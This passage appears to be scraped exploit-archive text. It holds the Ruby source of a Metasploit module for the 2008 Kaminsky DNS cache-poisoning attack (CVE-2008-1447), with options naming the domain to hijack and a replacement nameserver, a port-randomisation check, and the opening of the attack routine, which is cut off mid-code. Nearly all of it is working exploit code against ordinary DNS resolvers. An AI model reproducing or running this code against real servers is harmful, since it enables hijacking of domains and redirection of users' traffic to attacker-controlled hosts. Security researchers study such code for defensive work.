email us and share!References==========http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447http://www.kb.cert.org/vuls/id/800113Metasploit==========require 'msf/core'require 'net/dns'require 'scruby'require 'resolv'module Msfclass Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary include Exploit::Remote::Ip def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Domain Attack', 'Description' => %q{ This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target domains nameserver entries in a vulnerable DNS cache server. This attack works by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and the nameserver entries for the target domain will be replaced by the server specified in the NEWDNS option of this exploit. }, 'Author' => [ ' I)ruid', 'hdm', # 'Cedric Blancher <sid[at]rstack.org>' # Cedric figured out the NS injection method # and was cool enough to email us and share! # ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 5591 $', 'References' => [ [ 'CVE', '2008-1447' ], [ 'US-CERT-VU', '8000113' ], [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ], ], 'DisclosureDate' => 'Jul 21 2008' )) register_options( [ OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']), OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]), OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]), ], self.class) end def auxiliary_commands return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } end def cmd_check(*args) targ = args[0] || rhost() if(not (targ and targ.length > 0)) print_status("usage: check [dns-server]") return end print_status("Using the Metasploit service to verify exploitability...") srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 ) random = false ports = [] lport = nil 1.upto(5) do |i| req = Resolv::DNS::Message.new txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true end lport = t_port ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status("UNKNOWN: This server did not reply to our vulnerability check requests") return end if(random) print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") print_status(" This server may still be exploitable, but not by this tool.") else print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore['SRCPORT'] domain = datastore['DOMAIN'] + '.' newdns = datastore['NEWDNS'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i newttl = datastore['TTL'].to_i xidbase = rand(20001) + 20000 address = Rex::Text.rand_text(4).unpack("C4").join(".") srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, 'PeerPort' => 53 ) # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr